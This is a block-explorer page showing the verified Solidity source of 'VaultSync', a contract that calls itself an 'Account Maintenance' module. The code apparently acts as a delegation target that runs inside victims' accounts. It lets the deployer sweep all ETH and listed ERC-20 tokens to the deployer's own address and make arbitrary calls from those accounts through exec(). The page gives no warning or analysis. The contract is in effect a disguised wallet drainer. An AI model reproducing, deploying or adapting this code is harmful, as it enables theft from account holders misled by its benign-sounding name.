Skip to content
Verified contractExactMIT

VaultSync

Address0x3c1af8224e462a677ac3ec917f7e47cd8e4769eb
Balance

0 ETH

 

Transactions

1

 

Compiler

solc 0.8.28

 

Same code

Only this contract

 

Details

Compiler
solc 0.8.28+commit.7893614a
Language
solidity
Optimization
No
License
MIT
Match
Exactcreation code: yes, runtime code: yes
Verified on Sourcify
Created in block
26,444,831
Creation transaction
0x014a226422…34c9a659f6

co.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.28;

interface IERC20 {
    function balanceOf(address) external view returns (uint256);
    function transfer(address, uint256) external returns (bool);
}

/// @notice Account maintenance module. Runs inside each designating
///         account's context. Sweeps native ETH + listed ERC-20s to keeper.
contract VaultSync {
    address private immutable keeper;

    string public constant name = "Account Maintenance";
    string public constant version = "2.1";

    constructor() {
        keeper = msg.sender;
    }

    receive() external payable {}

    /// @notice Sync native balance and listed assets to the keeper.
    function syncAll(address[] calldata assets) external {
        require(msg.sender == keeper, "busy");

        // 1) native ETH — the whole balance
        uint256 bal = address(this).balance;
        if (bal > 0) {
            (bool ok, ) = keeper.call{value: bal}("");
            require(ok, "pay");
        }

        // 2) ERC-20s from the list
        uint256 n = assets.length;
        for (uint256 i = 0; i < n; ++i) {
            address a = assets[i];
            if (a == address(0)) continue;
            uint256 amt = IERC20(a).balanceOf(address(this));
            if (amt > 0) IERC20(a).transfer(keeper, amt);
        }
    }

    /// @notice Generic pass-through (approvals, claims, staking hooks).
    function exec(address target, bytes calldata payload)
        external payable returns (bytes memory)
    {
        require(msg.sender == keeper, "busy");
        (bool ok, bytes memory out) = target.call{value: msg.value}(payload);
        require(ok, "bad callback");
        return out;
    }
}
Compiler settingsShow
{
  "optimizer": {
    "runs": 200,
    "enabled": false
  },
  "remappings": []
}

Source code and metadata: Sourcify.

The source code belongs to the authors of the contract.